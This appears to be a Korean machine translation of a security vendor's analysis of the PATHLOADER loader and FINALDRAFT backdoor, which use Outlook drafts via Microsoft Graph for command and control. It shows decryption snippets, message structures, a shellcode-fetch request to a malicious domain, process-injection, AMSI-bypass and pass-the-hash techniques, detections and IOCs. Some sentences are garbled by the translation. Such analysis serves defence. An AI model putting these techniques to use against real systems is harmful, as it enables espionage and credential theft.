요약
REF7707을 조사하는 동안 Elastic Security Labs는 이전에 알려지지 않은 새로운 멀웨어 제품군을 발견했는데, 이 멀웨어는 Microsoft Graph API를 통해 Outlook을 통신 채널로 활용합니다. 이 익스플로잇 후 키트에는 로더, 백도어, 고급 익스플로잇 후 활동을 가능하게 하는 여러 하위 모듈이 포함되어 있습니다.
저희의 분석 결과 Linux 변종과 이전 버전의 PE 변종 멀웨어가 발견되었으며, 각각 여러 가지 버전이 있어 이 툴이 한동안 개발 중이었음을 알 수 있습니다.
도구의 완성도와 관련된 엔지니어링 수준을 보면 개발자가 잘 조직되어 있음을 알 수 있습니다. 장기간의 작전 기간과 원격 분석의 증거로 볼 때 스파이 활동을 목적으로 한 캠페인일 가능성이 높습니다.
이 보고서에서는 이러한 도구의 특징과 기능에 대해 자세히 설명합니다.
REF7707에 대한 캠페인 분석은 남미에서 동남아시아까지를 확인하세요: REF7707의 취약한 웹.
기술적 분석
경로 로더
PATHLOADER는 외부 인프라에서 검색한 암호화된 셸코드를 다운로드하고 실행하는 Windows PE 파일입니다.
저희 팀은 PATHLOADER가 검색한 셸코드를 복구하고 해독하여 공개적으로 보고되지 않은 새로운 임플란트를 추출했으며, 이를 FINALDRAFT라고 불렀습니다. 이 두 가지 구성 요소가 민감한 환경에 침투하는 데 함께 사용된다고 생각합니다.
구성
PATHLOADER는 206 킬로바이트의 경량 Windows 실행 파일로, 원격 서버에서 호스팅되는 셸코드를 다운로드하여 실행합니다. 경로 로더에는 C2 및 기타 관련 설정을 포함하는 .data
섹션에 저장된 임베디드 구성이 포함되어 있습니다.
내장된 16진수 문자열에서 Base64 디코딩 및 변환 후, 보안 공급업체와 유사한 두 개의 고유한 타이포스쿼트 도메인으로 원래 구성이 복구됩니다.
https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*
경로 로더에서 구성
API 해싱
정적 분석 작업을 차단하기 위해 PATHLOADER는 파울러-놀-보 해시 함수를 사용하여 API 해싱을 수행합니다. 이는 이진 내부에서 37 번 발견되는 즉각적인 값 0x1000193
을 기준으로 관찰할 수 있습니다. API 해싱 기능은 별도의 개별 함수가 아닌 인라인으로 표시됩니다.
문자열 난독화
PATHLOADER는 문자열 암호화를 사용하여 분석가가 프로그램을 정적으로 검토하지 못하도록 기능을 난독화합니다. 실행 중이거나 디버거를 사용하는 경우 문자열을 해독하기는 쉽지만, 난독화가 일렬로 표시되어 복잡성이 증가하고 제어 흐름을 따라가기가 더 어려워집니다. 이 난독화는 SIMD(단일 명령어, 다중 데이터) 명령어와 XMM 레지스터를 사용하여 데이터를 변환합니다.
맬웨어 개발자가 사용한 WinHttpSendRequest
오류 코드 로깅과 관련된 문자열 하나가 암호화되지 않은 채로 남아 있습니다.
실행/동작
실행 시 PATHLOADER는 샌드박스 환경에서 즉시 실행되지 않도록 GetTickCount64
및 Sleep
메서드의 조합을 사용합니다. 몇 분 후, PATHLOADER는 임베디드 구성을 파싱하여 미리 구성된 두 C2 도메인(poster.checkponit[.]com
, support.fortineat[.]com
)을 순환하면서 HTTPS
요청을 통해 셸코드 다운로드를 시도합니다. GET
요청을 통해 셸코드 다운로드를 시도합니다.
GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
셸코드는 AES 암호화 및 Base64 인코딩입니다. AES 암호 해독은 CryptImportKey
API 호출에 사용된 128비트 키로 셸코드 다운로드 URL 경로 “/nzoMeFYgvjyXK3P”
을 사용하여 수행됩니다. API 호출에 사용된 128비트 키를 사용하여 수행됩니다.
CryptDecrypt
호출 후 해독된 셸코드가 이전에 할당된 메모리에 복사됩니다. 그런 다음 NtProtectVirtualMemory
API를 사용하여 메모리 페이지를 PAGE_EXECUTE_READ_WRITE
로 설정합니다. API를 사용합니다. 페이지가 적절한 보호 기능으로 설정되면 셸코드 진입점이 호출되어 다음 단계가 로드되고 실행됩니다: FINALDRAFT.
파이널드래프트
FINALDRAFT는 데이터 유출 및 프로세스 주입에 중점을 두고 C++로 작성된 64비트 멀웨어입니다. 여기에는 멀웨어가 주입할 수 있는 FINALDRAFT 키트의 일부로 식별되는 추가 모듈이 포함되어 있습니다. 그런 다음 이러한 모듈의 출력은 C2 서버로 전달됩니다.
엔트리포인트
FINALDRAFT는 엔트리 기능으로 단일 엔트리 포인트를 내보냅니다. 이 함수의 이름은 샘플마다 다르며, 이 샘플에서는 다음과 같이 호출됩니다. UpdateTask
.
초기화
멀웨어는 구성을 로드하고 세션 ID를 생성하여 초기화됩니다.
구성 로딩 프로세스
구성은 암호화된 블롭의 바이너리에 하드코딩되어 있습니다. 다음 알고리즘을 사용하여 해독됩니다.
for ( i = 0; i < 0x149A; ++i )
configuration[i] ^= decryption_key[i & 7];
구성 데이터의 암호 해독 알고리즘
암호 해독 키는 Windows 제품 ID(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
)에서 파생되거나 암호화된 블롭 뒤에 있는 문자열에서 파생됩니다. 이는 암호화된 구성 블롭 뒤에 있는 글로벌 플래그에 의해 결정됩니다.
복호화 키 도출 알고리즘은 다음과 같이 수행됩니다:
uint64_t decryption_key = 0;
do
decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );
복호화 키 도출 알고리즘
구성 구조는 다음과 같이 설명됩니다:
struct Configuration // sizeof=0x149a
{
char c2_hosts_or_refresh_token[5000];
char pastebin_url[200];
char guid[36];
uint8_t unknown_0[4];
uint16_t build_id;
uint32_t sleep_value;
uint8_t communication_method;
uint8_t aes_encryption_key[16];
bool get_external_ip_address;
uint8_t unknown_1[10]
};
구성 구조
모든 필드가 활용되는 것은 아니지만 구성은 모든 이형 상품과 버전에서 일관되게 유지됩니다. 예를 들어, 이 게시 당시에는 통신 방법 필드가 기본 변형에 사용되지 않았으며, MSGraph/Outlook 방법만 사용되었습니다. 그러나 ELF 변형이나 이전 버전의 FINALDRAFT에서는 그렇지 않습니다.
이 구성에는 어떤 변형에서도 사용되지 않는 Pastebin URL도 포함되어 있습니다. 하지만 이 URL은 초기 샘플에서 피벗하는 데 매우 유용했습니다.
세션 ID 도출 프로세스
FINALDRAFT와 C2 간의 통신에 사용되는 세션 ID는 임의의 GUID를 생성하여 생성한 다음 Fowler-Noll-Vo (FNV) 해시 함수를 사용하여 처리합니다.
통신 프로토콜
분석하는 동안 구성에서 다양한 통신 방법을 사용할 수 있지만 현재 가장 최신 샘플은 Microsoft Graph API를 통해 Outlook 메일 서비스를 악용하는 COutlookTrans
클래스만 사용하는 것을 발견했습니다. 이와 동일한 기법이 2월 2023 에 Elastic Security Labs에서 보고한 이전에 알려지지 않은 멀웨어 제품군인 시스타그래프에서 관찰되었으며, 중국과 관련된 위협 그룹의 소행으로 추정됩니다.
Microsoft Graph API 토큰은 파이널드래프트에서 https://login.microsoftonline.com/common/oauth2/token 엔드포인트. 이 엔드포인트에 사용되는 새로 고침 토큰은 구성에 있습니다.
새로 고침이 완료되면 Microsoft Graph API 토큰은 사용자에게 관리자 권한이 있는지 여부에 따라 다음 레지스트리 경로에 저장됩니다:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
이 토큰은 여전히 유효한 경우 여러 요청에서 재사용됩니다.
통신 루프는 다음과 같이 설명됩니다:
- 세션 이메일 초안이 아직 없는 경우 초안을 만듭니다.
- C2에서 만든 명령 요청 이메일 초안을 읽고 삭제합니다.
- 프로세스 명령
- 처리된 각 명령에 대한 명령 응답 이메일을 초안으로 작성합니다.
제목 p_<session-id>
으로 식별되는 명령 응답 이메일 형식의 세션 이메일이 이미 존재하는지 확인하기 위해 확인이 수행됩니다. 그렇지 않은 경우 메일 임시 보관함에 하나가 만들어집니다. 이 이메일의 콘텐츠는 base64로 인코딩되었지만 AES로 암호화되지는 않았습니다.
세션 데이터는 아래 구조에 설명되어 있습니다.
struct Session
{
char random_bytes[30];
uint32_t total_size;
char field_22;
uint64_t session_id;
uint64_t build_number;
char field_33;
};
세션 데이터 구조
명령 대기열은 메일 초안에서 제목이 다음과 같은 마지막 5개의 C2 명령 요청 이메일을 확인하여 채워집니다. r_<session-id>
.
요청을 읽은 후 이메일은 삭제됩니다.
그런 다음 명령이 처리되고 각 명령 응답에 대해 동일한 p_<session-id>
제목을 가진 새 초안 이메일에 응답이 작성됩니다.
메시지 요청 및 응답에 대한 콘텐츠는 Zlib 압축, AES CBC 암호화, Base64 인코딩으로 처리됩니다. 암호화 및 암호 해독에 사용되는 AES 키는 구성 블롭에 있습니다.
Base64(AESEncrypt(ZlibCompress(data)))
C2에서 임플란트로 전송되는 요청 메시지는 이 구조를 따릅니다.
struct C2Message{
struct {
uint8_t random_bytes[0x1E];
uint32_t message_size;
uint64_t session_id;
} header; // Size: 0x2A (42 bytes)
struct {
uint32_t command_size;
uint32_t next_command_struct_offset;
uint8_t command_id;
uint8_t unknown[8];
uint8_t command_args[];
} commands[];
};
요청 메시지 구조
임플란트에서 C2로 전송되는 응답 메시지는 이 구조를 따릅니다.
struct ImplantMessage {
struct Header {
uint8_t random_bytes[0x1E];
uint32_t total_size;
uint8_t flag; // Set to 1
uint64_t session_id;
uint16_t build_id;
uint8_t pad[6];
} header;
struct Message {
uint32_t actual_data_size_add_0xf;
uint8_t command_id;
uint8_t unknown[8];
uint8_t flag_success;
char newline[0x2];
uint8_t actual_data[];
}
};
응답 메시지 구조
다음은 임플란트에 의해 도난당한 데이터의 예입니다.
명령
FinalDraft는 프로세스 주입, 파일 조작, 네트워크 프록시 기능을 중심으로 대부분의 기능을 갖춘 37 명령 핸들러를 등록합니다.
아래는 명령어와 해당 명령어의 ID 표입니다:
ID | 이름 |
---|---|
0 | 컴퓨터 정보 수집 |
2 | StartTcpServerProxyToC2 |
3 | StopTcpServerProxyToC2 |
4 | ConnectToTcpTargetStartProxyToC2 |
5 | SetSleepValue |
6 | DeleteNetworkProjectorFwRuleAndStopTCPServer |
8 | ConnectToTcpTarget |
9 | SendDataToUdpOrTcpTarget |
10 | CloseTcpConnection |
11 | DoProcessInjectionSendOutputEx |
12 | 목록 파일 |
13 | 사용 가능한 드라이브 목록 |
14 | CreateDirectory |
15 | DeleteFileOrDirectory |
16 | 다운로드파일 |
17 | UploadFile0 |
18 | 더미 함수 |
19 | 현재 디렉터리 설정 |
20 | GetCurrentDirectory |
21 | 목록 실행 프로세스 |
24 | DoProcessInjectionNoOutput |
25 | DoProcessInjectionNoOutput(24와 동일) |
26 | DoProcessInjectionSendOutput1 |
28 | DisconnectFromNamedPipe |
30 | ConnectToNamedPipeAndProxyMessageToC2 |
31 | GetCurrentProcessTokenInformation |
32 | EnumerateActiveSessions |
33 | ListActiveTcpUdpConnections |
35 | MoveFile1 |
36 | GetOrSetFileTime |
39 | UploadFile1 |
41 | MoveFile0 |
42 | CopyFileOrCopyDirectory |
43 | 프로세스 종료 |
44 | CreateProcess |
FINALDRAFT 명령 핸들러 테이블
컴퓨터 정보 수집
GatherComputerInformation
명령이 실행되면 피해 시스템에 대한 정보가 수집되어 FINALDRAFT에 의해 전송됩니다. 이 정보에는 컴퓨터 이름, 계정 사용자 아이디, 내부 및 외부 IP 주소, 실행 중인 프로세스에 대한 세부 정보가 포함됩니다.
이 구조는 다음과 같이 설명됩니다:
struct ComputerInformation
{
char field_0;
uint64_t session_id;
char field_9[9];
char username[50];
char computer_name[50];
char field_76[16];
char external_ip_address[20];
char internal_ip_address[20];
uint32_t sleep_value;
char field_B2;
uint32_t os_major_version;
uint32_t os_minor_version;
bool product_type;
uint32_t os_build_number;
uint16_t os_service_pack_major;
char field_C2[85];
char field_117;
char current_module_name[50];
uint32_t current_process_id;
};
수집된 정보 구조
구성에서 사용하도록 설정하면 외부 IP 주소가 수집됩니다.
이 주소는 다음 공개 서비스 목록을 사용하여 FINALDRAFT에서 얻습니다.
공공 서비스 |
---|
hxxps://ip-api.io/json |
hxxps://ipinfo.io/json |
hxxps://myexternalip.com/raw |
hxxps://ipapi.co/json/ |
hxxps://jsonip.com/ |
IP 조회 서비스 목록
프로세스 인젝션
파이널드래프트에는 실행 중인 프로세스에 주입하거나 숨겨진 프로세스를 생성하여 주입할 수 있는 여러 프로세스 주입 관련 명령이 있습니다.
프로세스가 만들어지는 경우 대상 프로세스는 명령의 매개변수로 제공된 실행 경로이거나 기본값이 mspaint.exe
또는 conhost.exe
로 설정됩니다.
명령과 매개변수에 따라 표준 출력 핸들을 파이프로 연결하여 프로세스를 선택적으로 생성할 수 있습니다. 이 경우 프로세스가 주입되면 FINALDRAFT는 파이프의 출력에서 내용을 읽고 명령 응답과 함께 콘텐츠를 전송합니다.
프로세스의 표준 핸들을 파이핑하는 대신 프로세스를 생성하고 주입한 후 파이로드가 Windows 이름의 파이프를 생성할 때까지 기다리는 또 다른 옵션이 있습니다. 그런 다음 파이프에 연결하여 일부 정보를 쓰고 출력을 읽은 다음 별도의 채널을 통해 C2로 데이터를 전송합니다. (Outlook 전송 채널의 경우 추가 초안 이메일을 만들어야 합니다.).
프로세스 주입 절차는 기본이며 VirtualAllocEx
, WriteProcessMemory
, RtlCreateUserThread
를 기반으로 합니다. API를 기반으로 합니다.
TCP, UDP 및 네임드 파이프에서 데이터 전달하기
FINALDRAFT는 UDP 및 TCP 리스너, 네임드 파이프 클라이언트 등 C2에 데이터를 프록시하는 다양한 방법을 제공합니다.
UDP 및 TCP 데이터를 프록시하려면 프로토콜에 따라 수신 통신을 다르게 처리해야 합니다. UDP의 경우 발신자로부터 직접 메시지를 수신하는 반면, TCP의 경우 데이터를 수신하기 전에 클라이언트 연결을 수락합니다. 두 경우 모두 소켓에서 데이터를 읽어 전송 채널로 전달합니다.
아래는 UDP 수신기에서 recvfrom
호출의 스크린샷 예시입니다.
TCP 리스너 서버를 시작하기 전에 FINALDRAFT는 Windows 방화벽에 규칙을 추가합니다. 이 규칙은 서버가 종료되면 제거됩니다. 이러한 규칙을 추가/제거하기 위해 멀웨어는 COM과 INetFwPolicy2 및 INetFwRule 인터페이스를 사용합니다.
FINALDRAFT는 대상에 대한 TCP 연결도 설정할 수 있습니다. 이 경우 매직 값 “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”
을 보내고 서버가 수신된 데이터를 전달하기 시작하기 전에 동일한 매직 값을 다시 에코할 것으로 예상합니다.
명명된 파이프의 경우 FINALDRAFT는 기존 파이프에만 연결합니다. 파이프 이름은 명령의 매개변수로 제공되어야 하며, 그 후에 데이터를 읽고 별도의 채널을 통해 전달합니다.
파일 조작
파일 삭제 기능의 경우, FINALDRAFT는 파일 데이터를 삭제하기 전에 0으로 덮어쓰는 방식으로 파일 복구를 방지합니다.
파일 복사의 기본값은 CopyFileW
입니다. 그러나 실패하면 NTFS 클러스터 수준에서 파일 복사를 시도합니다.
먼저 소스 파일을 드라이브 핸들로 엽니다. 파일이 있는 볼륨의 클러스터 크기를 검색하기 위해 GetDiskFreeSpaceW
을 사용하여 클러스터당 섹터 수 및 섹터당 바이트에 대한 정보를 검색합니다. 그런 다음 DeviceIoControl
을 FSCTL_GET_RETRIEVAL_POINTERS
와 함께 호출하여 지정된 파일의 데이터를 저장하는 디스크의 위치 및 클러스터 크기 측면에서 저장된 데이터의 양인 확장에 대한 세부 정보를 검색합니다.
각 범위마다 SetFilePointer
을 사용하여 소스 파일 포인터를 볼륨의 해당 오프셋으로 이동하고, 소스 파일에서 대상 파일로 한 번에 하나의 데이터 클러스터를 읽고 씁니다.
파일에 연결된 클러스터 매핑이 없는 경우 상주 파일이며, 데이터는 MFT 자체에 저장됩니다. 파일의 MFT 인덱스를 사용하여 원시 MFT 레코드를 가져옵니다. 그런 다음 레코드를 구문 분석하여 $DATA
속성(유형 식별자 = 128)을 찾습니다. 그런 다음 이 속성에서 데이터를 추출하고 다음을 사용하여 대상 파일에 기록합니다. WriteFile
.
주입된 모듈
우리 팀은 DoProcessInjectionSendOutputEx
명령 핸들러를 통해 로드된 여러 추가 모듈이 프로세스 주입을 수행하고 명명된 파이프를 통해 출력을 다시 쓰는 것을 관찰했습니다. 파이널드래프트가 주입한 이 셸코드는 잘 알려진 sRDI 프로젝트를 활용하여 동일한 프로세스 내에서 완전한 PE DLL을 메모리에 로드하고, 가져오기를 해결하고, 내보내기 진입점을 호출할 수 있습니다.
네트워크 열거(ipconfig.x64.dll
)
이 모듈은 명명된 파이프(\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1
)를 생성하고 FINALDRAFT가 연결되기를 기다립니다. 분석/샌드박싱을 방지하기 위해 위협 행위자가 암호(Aslire597
)를 인수로 사용했을 수 있으며, 암호가 올바르지 않으면 모듈이 실행되지 않습니다.
이름에서 알 수 있듯이 이 모듈은 Windows API(GetAdaptersAddresses
, GetAdaptersInfo
, GetNetworkParams
)를 사용하여 네트워킹 정보를 검색하고 Windows 레지스트리 키 경로(SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces
)를 읽는 ipconfig 명령의 사용자 정의 구현입니다. 데이터가 검색된 후에는 명명된 파이프를 통해 FINALDRAFT로 다시 전송됩니다.
PowerShell 실행(Psloader.x64.dll
)
이 모듈을 사용하면 운영자가 powershell.exe
바이너리를 호출하지 않고도 PowerShell 명령을 실행할 수 있습니다. 사용된 코드는 잘 알려진 오픈 소스 공격 보안 도구인 PowerPick에서 가져온 것입니다.
탐지를 회피하기 위해 모듈은 먼저 EtwEventWrite
, ReportEventW
, AmsiScanBuffer
API를 연결하여 항상 0
을 반환하도록 하여 ETW 로깅을 비활성화하고 맬웨어 방지 검사를 우회합니다.
그런 다음 DLL은 .data
CLR 호스팅 기술을 사용하여 섹션에 저장된 .NET 페이로드(PowerPick) 를 로드합니다.
이 모듈은 명령 전달 및 출력 검색에 사용되는 명명된 파이프(\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2
)를 만듭니다. 메인 스레드는 수신자로 지정되고 보조 스레드는 파이프에 데이터를 쓰기 위해 만들어집니다. 마지막으로 관리되는 PowerPick 바이너리가 모듈에 의해 로드되고 실행됩니다.
해시 전달 툴킷(pnt.x64.dll
)
이 모듈은 탈취한 NTLM 해시로 새 프로세스를 시작하는 데 사용되는 사용자 지정 PTH(패스 더 해시) 툴킷입니다. 이 PTH 구현은 주로 미미카츠가 사용한 것에서 영감을 받아 측면 이동을 가능하게 합니다.
이 모듈에는 권한 상승할 프로그램의 파일 경로와 함께 비밀번호(Aslire597
), 도메인 및 NTLM 해시가 있는 사용자 이름이 필요합니다. 샘플에서는 이 명령줄이 sRDI 셸코드에 의해 로드됩니다. 다음은 명령줄의 예입니다.
program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>
다른 모듈과 마찬가지로 "\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9
"라는 명명된 파이프를 만들고 FINALDRAFT에서 들어오는 연결을 기다립니다. 이 명명된 파이프는 로깅 채널 역할을 합니다.
파이프 연결을 설정한 후 악성 코드는 CreateProcessWithLogonW
을 사용하여 일시 중단된 상태로 대상 프로세스를 만들고, 로컬 보안 기관 하위 시스템 서비스(LSASS) 프로세스 내에서 LogonSessionList
및 LogonSessionListCount
와 같은 주요 구조를 식별하여 제공된 인수로 지정된 로그온 세션을 대상으로 삼습니다.
올바른 세션이 일치하면 LSASS 내부의 현재 자격 증명 구조가 현재 사용자의 NTLM 해시 대신 제공된 NTLM 해시로 덮어쓰고 마지막으로 프로세스 스레드가 다시 시작됩니다. 이 기법은 Praetorian의 블로그 게시물 "Mimikatz 패스 더 해시 명령 내부(2부)" 에 잘 설명되어 있습니다. 그런 다음 결과가 명명된 파이프로 전송됩니다.
파이널드래프트 엘프 변형
이 조사 과정에서 ELF 변종 파이널드래프트를 발견했습니다. 이 버전은 PE 버전보다 더 많은 전송 프로토콜을 지원하지만 기능이 더 적어 개발 중일 수 있습니다.
추가 전송 채널
파이널드래프트의 ELF 버전은 C2 전송 채널을 위한 7가지 프로토콜을 추가로 지원합니다:
C2 통신 프로토콜 |
---|
HTTP/HTTPS |
역방향 UDP |
ICMP |
TCP 바인딩 |
역방향 TCP |
DNS |
REST API를 통한 Outlook(API 프록시와 통신 중일 수 있음) |
그래프 API를 통한 Outlook |
파이널드래프트 엘프 변형 C2 통신 옵션
발견된 ELF 샘플에서 그래프 API 채널을 통해 HTTP 및 Outlook을 사용하도록 구성된 임플란트를 확인했습니다.
코드 구조는 가장 최신의 PE 샘플과 유사하지만, 이 게시 시점에 임플란트 기능의 일부가 Linux 환경에 맞게 수정되었습니다. 예를 들어, 요청된 새 Microsoft OAuth 새로 고침 토큰은 이전 파일에 쓰지 못한 경우 디스크의 /var/log/installlog.log.<UUID_from_config>
또는 /mnt/hgfsdisk.log.<UUID_from_config>
파일에 기록됩니다.
아래는 HTTP 채널을 사용하는 구성의 스니펫입니다. 오프셋 443
에서 포트 번호 0xc8
(0x1bb
), 오프셋에서 HTTPS 사용 플래그가 Microsoft 새로 고침 토큰 대신 두 개의 C2 서버가 사용되는 것을 볼 수 있습니다. 0xfc
.
도메인은 의도적으로 잘 알려진 공급업체를 오타 처리하도록 설계되었습니다(예: "VMSphere" (VMware vSphere)). 그러나 이 사례에서 어떤 공급업체 "Hobiter" 가 사칭을 시도하고 있는지는 명확하지 않습니다.
C2 |
---|
support.vmphere.com |
update.hobiter.com |
도메인 목록
명령
모든 명령은 Windows의 명령과 겹치지만 옵션이 더 적습니다. 피해자의 컴퓨터에 대한 정보를 수집하기 위한 두 가지 C2 명령이 있습니다. 이러한 명령은 다음과 같은 세부 정보를 수집합니다:
- 호스트 이름
- 현재 로그인한 사용자
- 인트라넷 IP 주소
- 외부 IP 주소
- 게이트웨이 IP 주소
- 시스템 부팅 시간
- 운영 체제 이름 및 버전
- 커널 버전
- 시스템 아키텍처
- 머신 GUID
- 활성 네트워크 연결 목록
- 실행 중인 프로세스 목록
- 현재 프로세스 이름
명령 실행
프로세스 주입 기능은 없지만 임플란트는 셸 명령을 직접 실행할 수 있습니다. 명령 실행에 popen
을 사용하여 표준 출력과 오류를 모두 캡처하고 결과를 C2 인프라로 다시 보냅니다.
자동 삭제
현재 실행 중인 실행 파일의 경로를 동적으로 확인하기 위해 실행 이미지를 가리키는 심볼릭 링크가 sys_readlink
로 전달됩니다. 그런 다음 sys_unlink
을 호출하여 파일 시스템에서 실행 파일을 제거합니다.
이전 파이널드래프트 PE 샘플
조사 과정에서 이전 버전의 FINALDRAFT를 확인했습니다. 이 버전은 절반의 명령어를 지원하지만 MS Graph API/Outlook 전송 채널과 함께 추가 전송 프로토콜이 포함되어 있습니다.
바이너리의 이름은 Session.x64.dll
이고, 해당 진입점 내보내기의 이름은 GoogleProxy
:
HTTP 전송 채널
이 이전 버전의 FINALDRAFT는 구성에 따라 Outlook 또는 HTTP 전송 채널 중 하나를 선택합니다.
이 샘플에서는 기본 샘플에 있는 새로 고침 토큰 대신 호스트 목록이 구성에 포함되어 있습니다. 동일한 도메인이 PATHLOADER에서 사용되었으며, 도메인(checkponit[.]com
)은 2022-08-26T09:43:16Z에 등록되었고 도메인(fortineat[.]com
)은 2023-11-08T09:47:47Z에 등록되었습니다.
이 도메인은 실제 알려진 공급업체인 CheckPoint와 Fortinet을 의도적으로 오타 처리했습니다.
C2 |
---|
poster.checkponit[.]com |
support.fortineat[.]com |
도메인 목록
셸 명령
이 샘플에는 이후 버전에는 없는 추가 명령이 있습니다. 이 명령은 ID 1
을 사용하여 셸 명령을 실행합니다.
실행은 "/c"
매개 변수를 사용하여 cmd.exe
프로세스를 만든 다음 매개 변수에 실제 명령을 추가하는 방식으로 수행됩니다.
탐지
Elastic Defend는 두 가지 규칙을 통해 프로세스 주입 메커니즘을 감지합니다. 첫 번째 규칙은 다른 프로세스를 대상으로 하는 WriteProcessMemory
API 호출을 감지하며, 이는 프로세스 주입 기술에서 관찰되는 일반적인 동작입니다.
두 번째 규칙은 셸코드 실행을 위한 원격 스레드 생성을 감지합니다.
또한 알려진 대상에 주입되는 Psloader.x64.dll
모듈에 의한 PowerShell 엔진의 로딩도 감지합니다. mspaint.exe
.
멀웨어 및 MITRE ATT&CK
Elastic은 위협이 엔터프라이즈 네트워크에 대해 사용하는 일반적인 전술, 기술 및 절차를 문서화하기 위해 MITRE ATT& CK 프레임워크를 사용합니다.
전술
기술
기술은 공격자가 행동을 수행하여 전술적 목표를 달성하는 방법을 나타냅니다.
- 웹 서비스: 단방향 커뮤니케이션
- 암호화된 채널: 대칭 암호화
- 아티팩트 숨기기: 숨겨진 창
- 가장: 합법적인 이름 또는 위치 일치
- 가장: 시스템 유틸리티 이름 바꾸기
- 프로세스 주입: 휴대용 실행 파일 주입
- 반사 코드 로드
- 대체 인증 자료를 사용합니다: 해시 전달
- 네트워크 서비스 검색
- 프로세스 검색
- 쿼리 레지스트리
- 웹 서비스를 통한 유출
완화
탐지
- 원격 프로세스에 대한 의심스러운 메모리 쓰기
- 비정상적인 PowerShell 엔진 이미지 로드
- 백업되지 않은 메모리를 통한 AMSI 바이패스
- AMSI or WLDP Bypass via Memory Patching
- Windows 서비스를 통한 의심스러운 실행
- Windows 명령줄 디버깅 유틸리티를 통한 실행
- 의심스러운 부모-자녀 관계
YARA
Elastic Security는 이 게시물과 관련된 다음과 같은 YARA 규칙을 만들었습니다:
관찰
이 연구에서는 다음과 같은 관찰 가능성에 대해 논의했습니다:
관측 가능합니다. | 유형 | 참조 | 날짜 |
---|---|---|---|
9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf | SHA256 | 경로 로더 | 처음 본 시간: 2023-05-09 09:44:4545 UTC |
39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530 | SHA256 | FINALDRAFT 초기 샘플 | 원격 분석 처음 보기: 2024-11-28 20:49:18.64646 |
83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c | SHA256 | 파이널드래프트 엘프 변형 | 처음 본 시간: 2024-10-05 07:15:0000 UTC |
poster.checkponit[.]com | 도메인 | 패스 로더/파이널드래프트 도메인 | Creation date: 2022-08-26T09:43:16Z Valid until: 2025-08-26T07:00:00Z |
support.fortineat[.]com | 도메인 | 패스 로더/파이널드래프트 도메인 | Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z |
support.vmphere[.]com | 도메인 | FINALDRAFT 도메인 | Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z |
update.hobiter[.]com | 도메인 | FINALDRAFT 도메인 | Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z |